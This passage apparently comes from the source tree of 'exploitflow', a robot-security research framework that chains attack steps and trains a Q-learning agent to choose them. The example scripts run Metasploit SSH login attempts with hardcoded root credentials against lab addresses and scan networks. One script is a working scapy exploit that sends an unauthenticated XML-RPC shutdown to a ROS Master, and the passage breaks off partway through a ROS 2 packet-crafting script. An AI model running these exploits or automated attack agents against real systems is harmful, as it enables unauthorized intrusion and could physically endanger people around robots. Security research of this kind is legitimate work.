54 | metasploit_2 = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login")
55 | metasploit_2.name = "scanner/ssh/ssh_login @ 192.168.2.5"
56 |
57 | ## set options
58 | ef.targets.target = "192.168.2.1"
59 | ef.versions.target = "192.168.2.10"
60 | msf_options = {
61 | "RHOSTS": "192.168.2.10",
62 | "USERNAME": "root",
63 | "PASSWORD": "easybot"
64 | }
65 | ef.metasploit.set_options(msf_options)
66 | ef.metasploit.target = "192.168.2.10"
67 |
68 | msf_options = {
69 | "RHOSTS": "192.168.2.5",
70 | "USERNAME": "root",
71 | "PASSWORD": "easybot"
72 | }
73 | metasploit_2.set_options(msf_options)
74 | metasploit_2.target = "192.168.2.5"
75 |
76 | ## set reward
77 | ef.idle.reward = 0
78 | ef.metasploit.reward = -100 # first time successful, will do "*(-1)" to get "+100"
79 | metasploit_2.reward = -100 # first time successful, will do "*(-1)" to get "+100
80 | ef.versions.reward = -10
81 | ef.targets.reward = -10
82 |
83 | # # if needed
84 | # ef.exploits_all_instances = ef.exploits_all_instances + [...]
85 |
86 | # global variables used for the one-hot-encoded state
87 | exploits = [ef.targets, # reconnaissance, footprinting
88 | ef.versions, # reconnaissance, fingerprinting
89 | ef.idle, # idle
90 | ef.metasploit, # ssh exploit, 192.168.2.10
91 | metasploit_2, # ssh exploit, 192.168.2.5
92 | ef.init,
93 | ]
94 | # exploits = [versions, idle, expl]
95 | exploits_encoded = [exploit.name for exploit in exploits]
96 |
97 |
98 | # set learning model
99 | ## actions: list of actions available in the environment
100 | ## epsilon: exploration factor
101 | ## alpha: learning rate
102 | ## gamma: discount factor
103 | flow.set_learning_model(ef.QLearn(actions=exploits_encoded, alpha=0.1, gamma=0.9, epsilon=0.1))
104 |
105 |
106 | def reset(exploits):
107 | for exploit in exploits:
108 | exploit.run = False # set run to False, to reset their capabilities
109 |
110 | def soft_reset(exploits):
111 | for exploit in exploits:
112 | exploit.soft_reset = True
113 | exploit.run = False # set run to False, to reset their capabilities
114 |
115 | # train
116 | rollouts = 1000
117 | episode = 10
118 | age = 1
119 | debug = False
120 | last_10_actions = []
121 | while age <= rollouts:
122 |
123 | # observe the reward and update the model
124 | if flow.last_state():
125 | flow._graph.learning_model.learn(
126 | tuple(flow.last_state().one_hot_encode()),
127 | flow.last_action().name,
128 | flow.last_reward(),
129 | tuple(flow.state().one_hot_encode()),
130 | debug=False)
131 |
132 | # choose an action
133 | if flow.state():
134 | action = flow._graph.learning_model.chooseAction(tuple(flow.state().one_hot_encode()))
135 | else:
136 | # use init
137 | action = ef.init.name # always start with init
138 |
139 | last_10_actions.append(action)
140 | # fetch the action object from its "exploits_encoded" name
141 | action_expl = [exploit for exploit in exploits if exploit.name == action][0]
142 |
143 | # execute that action
144 | if flow.state():
145 | flow.run(flow.state() * action_expl, debug=debug)
146 | else:
147 | flow.run(action_expl, debug=debug)
148 |
149 | if age % 10 == 0:
150 |
151 | # debug
152 | age_str = "Age: " + color("{:d}".format(age), fg="white", bg="blue", bold=True)
153 | epsilon_str = ", epsilon: {:0.2f}".format(flow._graph.learning_model.epsilon)
154 | reward_str = ", reward: " + color("{:0.2f}".format(flow.reward()), fg="white", bg="red", bold=True)
155 | bytes = sys.getsizeof(flow._graph.learning_model.q)
156 | q_size_str = ", Q-size bytes: {:d} ".format(bytes)
157 | q_size_str += color("({:.2f} KB, {:d} elements)".format(bytes/1024, len(flow._graph.learning_model.q.keys())),
158 | fg="white", bg="blue", bold=True)
159 | print_message = age_str + epsilon_str + reward_str + q_size_str
160 |
161 | # last_actions_str = " -- last 10 actions: " + ", " + color([str(n) for n in last_10_actions[-10:]], fg="black", bg="white")
162 | # last_10_actions = []
163 | # print_message += last_actions_str
164 | print(print_message)
165 |
166 | if age == rollouts:
167 | print(flow)
168 |
169 | if age % episode == 0:
170 | # print(flow)
171 | # reset the flow
172 | flow.reset() # reward=0, state=None, last_state=None, last_action=None, last_reward=None
173 | # reset(exploits) # reset status of exploits
174 | soft_reset([ef.metasploit])
175 |
176 | # next rollout
177 | age += 1
178 |
179 | # try things out, reset the flow and the exploits:
180 | flow = ef.Flow()
181 | reset(exploits)
182 | # initialize flow
183 | state = flow.run(ef.init)
184 | actions = []
185 | for i in range(9): # let the model pick 9 actions
186 | action = flow._graph.learning_model.chooseAction(tuple(flow.state().one_hot_encode()))
187 | actions.append(action)
188 | action_expl = [exploit for exploit in exploits if exploit.name == action][0]
189 | flow.run(flow.state() * action_expl)
190 |
191 | print(flow)
192 | print(actions)
193 |
--------------------------------------------------------------------------------
/examples/12_exploitation_ur_learned_flow.py:
--------------------------------------------------------------------------------
1 | import math
2 | import random
3 | import sys
4 | import exploitflow as ef
5 | from wasabi import color
6 | from exploitflow.state import State_v4
7 | State_default = State_v4
8 |
9 | flow = ef.Flow()
10 |
11 | ## new exploits, if needed
12 | metasploit_2 = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login")
13 | metasploit_2.name = "scanner/ssh/ssh_login @ 192.168.2.5"
14 |
15 | ## set options
16 | # ef.targets.target = "192.168.2.1"
17 | # ef.versions.target = "192.168.2.10"
18 | msf_options = {
19 | "RHOSTS": "192.168.2.10",
20 | "USERNAME": "root",
21 | "PASSWORD": "easybot"
22 | }
23 | ef.metasploit.set_options(msf_options)
24 | ef.metasploit.target = "192.168.2.10"
25 |
26 | msf_options = {
27 | "RHOSTS": "192.168.2.5",
28 | "USERNAME": "root",
29 | "PASSWORD": "easybot"
30 | }
31 | metasploit_2.set_options(msf_options)
32 | metasploit_2.target = "192.168.2.5"
33 |
34 | ## set reward
35 | ef.idle.reward = 0
36 | ef.metasploit.reward = -100 # first time successful, will do "*(-1)" to get "+100"
37 | metasploit_2.reward = -100 # first time successful, will do "*(-1)" to get "+100
38 | # ef.versions.reward = -10
39 | # ef.targets.reward = -10
40 |
41 | # state = flow.run(ef.init)
42 | # state = flow.run(flow.state() * ef.metasploit)
43 | # state = flow.run(flow.state() * ef.idle)
44 | # state = flow.run(flow.state() * ef.idle)
45 | # state = flow.run(flow.state() * ef.idle)
46 | # state = flow.run(flow.state() * ef.idle)
47 | # state = flow.run(flow.state() * ef.idle)
48 | # state = flow.run(flow.state() * ef.idle)
49 | # state = flow.run(flow.state() * ef.idle)
50 | # state = flow.run(flow.state() * ef.idle)
51 |
52 | state = flow.run(ef.init * ef.metasploit *
53 | ef.idle * ef.idle * ef.idle * ef.idle *
54 | ef.idle * ef.idle * ef.idle * ef.idle)
55 | print(flow)
56 |
57 | # # ASCII-depict graph
58 | # print(flow.ascii())
59 | flow.to_dot("/tmp/exploitflow.dot")
60 | # flow.plot()
--------------------------------------------------------------------------------
/examples/13_exploitation_ur_bruteforce.py:
--------------------------------------------------------------------------------
1 | import math
2 | import random
3 | import sys
4 | import exploitflow as ef
5 | from wasabi import color
6 | from exploitflow.state import State_v4
7 | State_default = State_v4
8 | import itertools
9 |
10 | flow = ef.Flow()
11 |
12 | ## set options
13 | ef.targets.target = "192.168.2.1"
14 | ef.versions.target = "192.168.2.10"
15 | msf_options = {
16 | "RHOSTS": "192.168.2.10",
17 | "USERNAME": "root",
18 | "PASSWORD": "easybot"
19 | }
20 | ef.metasploit.set_options(msf_options)
21 | ef.metasploit.target = "192.168.2.10"
22 |
23 | ## set reward
24 | ef.idle.reward = 0
25 | ef.metasploit.reward = -100 # first time successful, will do "*(-1)" to get "+100"
26 | ef.versions.reward = -10
27 | ef.targets.reward = -10
28 |
29 |
30 | exploits = [ef.idle, ef.metasploit, ef.versions, ef.targets]
31 |
32 | # Get all permutations of the list
33 | permutations = list(itertools.permutations(exploits))
34 | state = flow.run(ef.init)
35 | for perm in permutations:
36 | for expl in perm:
37 | state = flow.run(flow.state() * expl)
38 |
39 | print(flow)
40 |
41 | # # ASCII-depict graph
42 | # print(flow.ascii())
43 |
44 | flow.to_dot("/tmp/exploitflow.dot")
--------------------------------------------------------------------------------
/examples/1_basic.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # A exploit flow that combines various
16 | # basic operations over trivial exploits
17 | # (Constant, Bool), etc.
18 | #
19 | # Aims to demonstrate composition of exploits.
20 | #
21 | # ┌────────────┐ [] ┌────────────┐
22 | # │ Constant_1 │ ◀──── │ Init │
23 | # └────────────┘ └────────────┘
24 | # │ │
25 | # │ [3] │ []
26 | # ▼ ▼
27 | # ┌────────────┐ ┌────────────┐
28 | # │ Mul_1 │ │ Constant │
29 | # └────────────┘ └────────────┘
30 | # │ │
31 | # │ │ [1]
32 | # │ ▼
33 | # │ ┌────────────┐
34 | # │ │ Mul │
35 | # │ └────────────┘
36 | # │ │
37 | # │ │ [1]
38 | # │ ▼
39 | # │ ┌────────────┐
40 | # │ │ Constant_0 │
41 | # │ └────────────┘
42 | # │ │
43 | # │ │ [1, 2]
44 | # │ ▼
45 | # │ ┌────────────┐
46 | # │ │ Mul_0 │
47 | # │ └────────────┘
48 | # │ │
49 | # │ │
50 | # │ ▼
51 | # │ ┌────────────┐
52 | # └────────────────▶ │ Add │
53 | # └────────────┘
54 | # │
55 | # │ [1, 2, 3]
56 | # ▼
57 | # ┌────────────┐
58 | # │ Bool │
59 | # └────────────┘
60 | # │
61 | # │ [1, 2, 3]
62 | # ▼
63 | # ┌────────────┐
64 | # │ Mul_2 │
65 | # └────────────┘
66 |
67 |
68 | import exploitflow as ef
69 | from exploitflow.state import State_v0
70 |
71 | flow = ef.Flow(State_v0) # use basic data model
72 | init = ef.Init()
73 |
74 | c = ef.Constant(1) # Constant
75 | d = ef.Constant(2) # Constant_0
76 | e = ef.Constant(3) # Constant_1
77 | f = ef.Boolean(False)
78 |
79 | print(flow.run(((init * c * d) + (init * e)) * f, debug=False, target="127.0.0.1"))
80 | print(flow.ascii())
--------------------------------------------------------------------------------
/examples/2_reconnaissance.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # A exploit flow that performs simple reconnaissance
16 | #
17 | # ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
18 | # │ Init │
19 | # └─────────────────────────────────────────────────────────────────────────────────────────────────────┘
20 | # │
21 | # │ {'exploits': [], 'ports': []}
22 | # ▼
23 | # ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
24 | # │ FakeVersionExploit │
25 | # └─────────────────────────────────────────────────────────────────────────────────────────────────────┘
26 | # │
27 | # │ {'exploits': ['FakeVersionExploit'], 'ports': ['21|fake||None', '23|fake||None', '31|fake||None']}
28 | # ▼
29 | # ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
30 | # │ Mul │
31 | # └─────────────────────────────────────────────────────────────────────────────────────────────────────┘
32 |
33 | import exploitflow as ef
34 | # from exploitflow.state import State_v0
35 |
36 | flow = ef.Flow()
37 | init = ef.Init()
38 |
39 | # reconnaissance action
40 | recon = ef.Versions(ports=ef.state.TARGET_PORTS_OSX)
41 | # recon = ef.FakeVersions(name="FakeVersionExploit") # fake port scanning to speed things up
42 |
43 | # initialize state and pass it over a recon action
44 | # resulting flow should deliver a state annotated
45 | # with the results from the reconnaissance step
46 | state = flow.run(init * recon, target="127.0.0.1")
47 | # print(state)
48 |
49 | # ASCII-depict graph
50 | print(flow.ascii())
51 |
--------------------------------------------------------------------------------
/examples/3_reconnaissance_msf.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # A exploit flow that performs simple reconnaissance with MSF
16 |
17 | import exploitflow as ef
18 | # from exploitflow.state import State_v0
19 |
20 | flow = ef.Flow()
21 | init = ef.Init()
22 |
23 | # Build MSF reconnaissance exploit
24 | msf_options = {
25 | "RHOSTS": "127.0.0.1"
26 | }
27 | recon = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/discovery/arp_sweep")
28 | recon.set_options(msf_options)
29 |
30 | if not recon.missing():
31 | # initialize state and pass it over a recon action
32 | # resulting flow should deliver a state annotated
33 | # with the results from the reconnaissance step
34 | state = flow.run(init * recon)
35 | # print(flow.run(init))
36 |
37 | # ASCII-depict graph
38 | print(flow.ascii())
39 |
--------------------------------------------------------------------------------
/examples/4_reconnaissance_multitarget_msf.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # A exploit flow that performs reconnaissance locating multiple targets
16 | # in the local area network and then conducting scans on each one
17 | # of them to fill up the state
18 | #
19 | # ┌────────────────────────────────────────────────────────┐
20 | # │ Init │
21 | # └────────────────────────────────────────────────────────┘
22 | # │
23 | # │ {}
24 | # ▼
25 | # ┌────────────────────────────────────────────────────────┐
26 | # │ scanner/discovery/arp_sweep │
27 | # └────────────────────────────────────────────────────────┘
28 | # │
29 | # │ {'192.168.1.1': {'exploits': [], 'ports': []},
30 | # │ '192.168.1.6': {'exploits': [], 'ports': []}}
31 | # ▼
32 | # ┌────────────────────────────────────────────────────────┐
33 | # │ Mul_0 │
34 | # └────────────────────────────────────────────────────────┘
35 | # │
36 | # │ {'192.168.1.1': {'exploits': [], 'ports': []},
37 | # │ '192.168.1.6': {'exploits': [], 'ports': []}}
38 | # ▼
39 | # ┌────────────────────────────────────────────────────────┐
40 | # │ VersionExploit │
41 | # └────────────────────────────────────────────────────────┘
42 | # │
43 | # │ {'192.168.1.1': {'exploits': ['VersionExploit'],
44 | # │ 'ports': ['port: 111, name: rpcbind, version: 2-4']},
45 | # │ '192.168.1.6': {'exploits': [], 'ports': []}}
46 | # ▼
47 | # ┌────────────────────────────────────────────────────────┐
48 | # │ Mul │
49 | # └────────────────────────────────────────────────────────┘
50 |
51 |
52 | import exploitflow as ef
53 |
54 | flow = ef.Flow()
55 | init = ef.Init()
56 |
57 | # Build MSF reconnaissance exploit
58 | msf_options = {
59 | "RHOSTS": "192.168.2.0/24"
60 | }
61 | recon_multi = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/discovery/arp_sweep")
62 | recon_multi.set_options(msf_options)
63 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_BASIC)
64 |
65 | if not recon_multi.missing():
66 | # initialize state and pass it over a recon action
67 | # resulting flow should deliver a state annotated
68 | # with the results from the reconnaissance step
69 | state = flow.run(init * recon_multi * versions, target="192.168.2.1")
70 | # print(flow.run(init))
71 |
72 | # ASCII-depict graph
73 | print(flow.ascii())
74 |
75 |
--------------------------------------------------------------------------------
/examples/5_reconnaissance_multitarget_nmap.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # A exploit flow that performs reconnaissance locating multiple targets
16 | # in the local area network and then conducting scans on each one
17 | # of them to fill up the state
18 |
19 | # ┌─────────────────────────────────────────────────────────────────────┐
20 | # │ Init │
21 | # └─────────────────────────────────────────────────────────────────────┘
22 | # │
23 | # │ {}
24 | # ▼
25 | # ┌─────────────────────────────────────────────────────────────────────┐
26 | # │ TargetsExploit │
27 | # └─────────────────────────────────────────────────────────────────────┘
28 | # │
29 | # │ {'192.168.1.1': {'exploits': ['TargetsExploit'], 'ports': []},
30 | # │ '192.168.1.5': {'exploits': ['TargetsExploit'], 'ports': []},
31 | # │ '192.168.1.6': {'exploits': ['TargetsExploit'], 'ports': []}}
32 | # ▼
33 | # ┌─────────────────────────────────────────────────────────────────────┐
34 | # │ Mul_0 │
35 | # └─────────────────────────────────────────────────────────────────────┘
36 | # │
37 | # │ {'192.168.1.1': {'exploits': ['TargetsExploit'], 'ports': []},
38 | # │ '192.168.1.5': {'exploits': ['TargetsExploit'], 'ports': []},
39 | # │ '192.168.1.6': {'exploits': ['TargetsExploit'], 'ports': []}}
40 | # ▼
41 | # ┌─────────────────────────────────────────────────────────────────────┐
42 | # │ VersionExploit │
43 | # └─────────────────────────────────────────────────────────────────────┘
44 | # │
45 | # │ {'192.168.1.1': {'exploits': ['VersionExploit', 'TargetsExploit'],
46 | # │ 'ports': ['port: 111, name: rpcbind, version: 2-4']},
47 | # │ '192.168.1.5': {'exploits': ['TargetsExploit'], 'ports': []},
48 | # │ '192.168.1.6': {'exploits': ['TargetsExploit'], 'ports': []}}
49 | # ▼
50 | # ┌─────────────────────────────────────────────────────────────────────┐
51 | # │ Mul │
52 | # └─────────────────────────────────────────────────────────────────────┘
53 |
54 | import exploitflow as ef
55 |
56 | flow = ef.Flow()
57 | init = ef.Init()
58 |
59 | # Build nmap reconnaissance exploit
60 | recon = ef.Targets()
61 | # versions = ef.Versions(ports=ef.state.TARGET_PORTS_BASIC)
62 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_COMPLETE)
63 |
64 |
65 | # initialize state and pass it over a recon action
66 | # resulting flow should deliver a state annotated
67 | # with the results from the reconnaissance step
68 | state = flow.run(init * recon * versions, target="192.168.2.10")
69 | # print(flow.run(init))
70 |
71 | # ASCII-depict graph
72 | print(flow.ascii())
73 | flow.to_dot("/tmp/exploitflow.dot")
74 |
75 |
--------------------------------------------------------------------------------
/examples/6_exploitation_ros.py:
--------------------------------------------------------------------------------
1 | """
2 | Kill ROS Master using undocumented API functions, nothing fancy.
3 | Found with some silly fuzz testing.
4 |
5 | - Authors: Víctor Mayoral Vilches
6 | - Description: Shutdown ROS Master using its API
7 |
8 | DISCLAIMER: Use against your own hosts only! By no means Alias Robotics
9 | or the authors of this exploit encourage or promote the unauthorized tampering
10 | with running robotic systems. This can cause serious human harm and material
11 | damages. This is for educational purposes only.
12 | """
13 |
14 | from scapy.all import *
15 | from scapy.layers.inet import TCP, IP
16 | from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse
17 | from scapy.layers.l2 import Ether
18 | from scapy.contrib.tcpros import *
19 | # from fuzzingbook.Fuzzer import RandomFuzzer
20 | import sys
21 | import random
22 | from datetime import datetime
23 | from subprocess import Popen, PIPE
24 |
25 | # import rospy
26 |
27 | # bind layers so that packages are recognized as TCPROS
28 | bind_layers(TCP, TCPROS)
29 | bind_layers(HTTPRequest, XMLRPC)
30 | bind_layers(HTTPResponse, XMLRPC)
31 | # bind_layers(HTTPROSRequest, XMLRPC)
32 | # bind_layers(HTTPROSResponse, XMLRPC)
33 |
34 | ###################################################################################
35 | # VARIABLES
36 | ###################################################################################
37 |
38 | source = "192.168.2.5"
39 | # or even its own.
40 | random.seed(datetime.now())
41 |
42 | package_shutdown = (
43 | IP(version=4, ihl=5, tos=0, flags=2, dst="192.168.2.6")
44 | / TCP(
45 | sport=20001,
46 | dport=11311,
47 | seq=1,
48 | flags="PA",
49 | ack=1,
50 | )
51 | / TCPROS()
52 | / HTTP()
53 | / HTTPRequest(
54 | Accept_Encoding=b"gzip",
55 | Content_Length=b"227",
56 | Content_Type=b"text/xml",
57 | Host=b"192.168.2.6:11311",
58 | User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
59 | Method=b"POST",
60 | Path=b"/RPC2",
61 | Http_Version=b"HTTP/1.1",
62 | )
63 | / XMLRPC()
64 | / XMLRPCCall(
65 | version=b"\n",
66 | methodcall_opentag=b"\n",
67 | methodname_opentag=b"",
68 | methodname=b"shutdown",
69 | methodname_closetag=b"\n",
70 | params_opentag=b"\n",
71 | params=b"\n/rosparam-92418\n\n\n4L145_R080T1C5\n\n",
72 | params_closetag=b"\n",
73 | methodcall_closetag=b"\n",
74 | )
75 | )
76 |
77 |
78 | ###################################################################################
79 | # GENERAL FUNCTIONS
80 | ###################################################################################
81 |
82 |
83 | def yellow(text):
84 | print("\033[33m", text, "\033[0m", sep="")
85 |
86 |
87 | def red(text):
88 | print("\033[31m", text, "\033[0m", sep="")
89 |
90 |
91 | def gray(text):
92 | print("\033[90m", text, "\033[0m", sep="")
93 |
94 |
95 | def magenta(text):
96 | print("\033[35m", text, "\033[0m", sep="")
97 |
98 |
99 | def log_events(log_info, type_event):
100 | """
101 | Log events for post-analysis
102 |
103 | param log_info, scapy package
104 | param type_event: str, either "fuzzing", "weird" or "error"
105 | """
106 |
107 | log_msg = (
108 | "["
109 | + time.ctime()
110 | + "]"
111 | + "\n\n"
112 | + log_info.command()
113 | + "\n\n"
114 | + raw(log_info).decode("iso-8859-1")
115 | )
116 | # log_msg_encoded = log_info
117 |
118 | if type_event == "fuzzing":
119 | try:
120 | fd = open("fuzz.log", "a")
121 | except IOError as err:
122 | return "[!] Error opening log file: %s" % str(err)
123 |
124 | elif type_event == "error":
125 | try:
126 | fd = open("error.log", "a")
127 | except IOError as err:
128 | return "[!] Error opening error file: %s" % str(err)
129 |
130 | elif type_event == "weird":
131 | try:
132 | fd = open("weird.log", "a")
133 | except IOError as err:
134 | return "[!] Error opening error file: %s" % str(err)
135 |
136 | else:
137 | return "[!] '%s' is an unrecognized log event type." % type_event
138 |
139 | if fd:
140 | fd.write(log_msg)
141 |
142 | return
143 |
144 |
145 | def preamble():
146 | """
147 | ROS XMLRPC preamble
148 |
149 | returns: bool, indicating if successful
150 | """
151 | # send the SYN, receive response
152 | p_attack = IP(version=4, frag=0, ttl=64, proto=6, dst=destination) / TCP(
153 | sport=origin_port, dport=11311, seq=0, ack=0, flags=2
154 | )
155 | ans = sr1(p_attack, retry=0, timeout=1)
156 | # ans = srp1(p_attack, retry=0, timeout=1)
157 |
158 | if ans and len(ans) > 0 and ans[TCP].flags == "SA":
159 | # print(ans.summary()) # debug
160 | # ls(ans) # debug
161 |
162 | # send the ACK
163 | p_attack = IP(
164 | version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst=destination
165 | ) / TCP(
166 | sport=origin_port,
167 | dport=11311,
168 | flags=16,
169 | seq=ans[TCP].ack,
170 | ack=ans[TCP].seq + 1,
171 | )
172 | send(p_attack)
173 | return True, ans
174 | else:
175 | return False, ans
176 |
177 |
178 | def process_xmlrpc_response(p_attack, ans, unans, field_name=None):
179 | """
180 | Abstracts how the different functions process the XMLRPC responses
181 | for logging and analysis purposes.
182 |
183 | param p_attack: package used during the attack
184 | param ans: first result from scapy sr
185 | param uans: second result from scapy sr
186 | param field_name: field_name to consider when logging/evaluating
187 |
188 | Essentially:
189 | 1. makes sure that there's an answer
190 | 2. fetches the field to evaluate (or None)
191 | 3. Checks results and responses and logs accordingly
192 | """
193 |
194 | # check if there's been an answer at all
195 | if len(ans) > 0:
196 | # ans.show() # debug
197 | # print(list(ans[0][1])[0][XMLRPC]) # debug
198 | # print(ans[0][1][1][XMLRPC]) # debug
199 |
200 | response = list(ans[0][1])[0]
201 | if response == None:
202 | red("response None")
203 |
204 | # give it some colour for visual debugging:
205 | # print(response[XMLRPC])
206 |
207 | # print(response) # debug
208 | # print(type(response)) # debug
209 | # print(b"Error" in response) # debug
210 | # print(b"Error" in raw(response)) # debug
211 |
212 | field_evaluated = getattr(p_attack, field_name)
213 |
214 | if (
215 | b"Error" in raw(response)
216 | or b"is not set" in raw(response)
217 | or b"Exception" in raw(response)
218 | or b"missing required caller_id" in raw(response)
219 | ):
220 | red(response[XMLRPC])
221 | if not field_evaluated in errors_list:
222 | log_events(p_attack[XMLRPC], "error")
223 | errors_list.append(field_evaluated)
224 |
225 | # params, /rosdistro
226 | elif (
227 | b"melodic" in raw(response) # hardcoded for testing setup
228 | and b"1" in raw(response)
229 | and field_name == "params"
230 | ):
231 | yellow(response[XMLRPC])
232 | if not field_evaluated in valid_list:
233 | log_events(p_attack[XMLRPC], "fuzzing")
234 | valid_list.append(field_evaluated)
235 |
236 | # params, setParam
237 | elif (
238 | b"parameter" in raw(response) # hardcoded for testing setup
239 | and b"1" in raw(response)
240 | and b"set" in raw(response)
241 | # and b"0" in raw(response)
242 | and field_name == "params"
243 | ):
244 | yellow(response[XMLRPC])
245 | if not field_evaluated in valid_list:
246 | log_events(p_attack[XMLRPC], "fuzzing")
247 | valid_list.append(field_evaluated)
248 |
249 | # getPid
250 | elif b"1" in raw(response) and field_name == "methodname":
251 | yellow(response[XMLRPC])
252 | if not field_evaluated in valid_list:
253 | log_events(p_attack[XMLRPC], "fuzzing")
254 | valid_list.append(field_evaluated)
255 |
256 | else:
257 | # something weird happened, review
258 | magenta(response[XMLRPC])
259 | if not field_evaluated in weird_list:
260 | log_events(p_attack[XMLRPC], "weird")
261 | weird_list.append(field_evaluated)
262 |
263 | #################
264 | # send the ACK so that we don't get spammed for retransmissions
265 | #################
266 |
267 | ack = IP(
268 | version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst="192.168.2.6"
269 | ) / TCP(
270 | sport=origin_port,
271 | dport=11311,
272 | flags=16,
273 | seq=response[TCP].ack,
274 | ack=len(response[TCP].payload) + response[TCP].seq,
275 | )
276 | send(ack)
277 |
278 |
279 | ###################################################################################
280 | # ATTACKS
281 | ###################################################################################
282 |
283 |
284 | def shutdown():
285 | """
286 | Call the shutdown method from the external API defined as:
287 |
288 | Stop this server
289 | @param caller_id: ROS caller id
290 | @type caller_id: str
291 | @param msg: a message describing why the node is being shutdown.
292 | @type msg: str
293 | @return: [code, msg, 0]
294 | @rtype: [int, str, int]
295 |
296 | """
297 | success, ans = preamble()
298 | if success:
299 |
300 | # Using default packages
301 | p_attack = package_shutdown
302 | p_attack[IP].dst = destination
303 | p_attack[TCP].sport = origin_port
304 | p_attack[TCP].seq = ans[TCP].ack
305 | p_attack[TCP].ack = ans[TCP].seq + 1
306 |
307 | # adjust size of XMLRPC package payload
308 | p_attack[HTTPRequest].Content_Length = str(
309 | len(p_attack[HTTPRequest].payload)
310 | ).encode("iso-8859-1")
311 |
312 | # gray(p_attack[XMLRPC].params) # debug package to send
313 | ans, unans = sr(p_attack, timeout=5)
314 |
315 | # process the response coherently and return ACK
316 | process_xmlrpc_response(p_attack, ans, unans, "params")
317 |
318 |
319 | ###################################################################################
320 | # CORE LOGIC
321 | ###################################################################################
322 |
323 | # ##############################
324 | # # fuzzing getParam
325 | # ##############################
326 | weird_list = [] # list containing weird/non-accounted responses
327 | errors_list = [] # a list containing each
328 | valid_list = []
329 |
330 | print(conf.iface)
331 |
332 | if len(sys.argv) < 2:
333 | print("Supply IP as a first argument")
334 | else:
335 | origin_port = random.randint(12000, 65000)
336 | destination = sys.argv[1]
337 | shutdown()
338 |
--------------------------------------------------------------------------------
/examples/7_reconnaissance_ros2.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 | from scapy.layers.inet import UDP, IP
3 | from scapy.contrib.rtps import *
4 | from wasabi import color
5 |
6 | bind_layers(UDP, RTPS)
7 | conf.verb = 0
8 |
9 | src = "192.168.2.5"
10 | dst = "192.168.2.7"
11 | sport = 6666
12 | dport = 7400
13 |
14 | pkt = (
15 | IP(
16 | version=4,
17 | ihl=5,
18 | tos=0,
19 | id=61436,
20 | flags=0,
21 | frag=0,
22 | proto=17,
23 | src=src,
24 | dst=dst,
25 | )
26 | / UDP(sport=sport, dport=dport)
27 | / RTPS(
28 | protocolVersion=ProtocolVersionPacket(major=2, minor=1),
29 | vendorId=VendorIdPacket(vendor_id=b"\x01\x10"),
30 | guidPrefix=GUIDPrefixPacket(
31 | hostId=17849486, appId=752113735, instanceId=4200214739
32 | ),
33 | magic=b"RTPS",
34 | )
35 | / RTPSMessage(
36 | submessages=[
37 | RTPSSubMessage_INFO_TS(
38 | submessageId=9,
39 | submessageFlags=1,
40 | octetsToNextHeader=8,
41 | ts_seconds=1635160430,
42 | ts_fraction=3848061961,
43 | ),
44 | RTPSSubMessage_DATA(
45 | submessageId=21,
46 | submessageFlags=5,
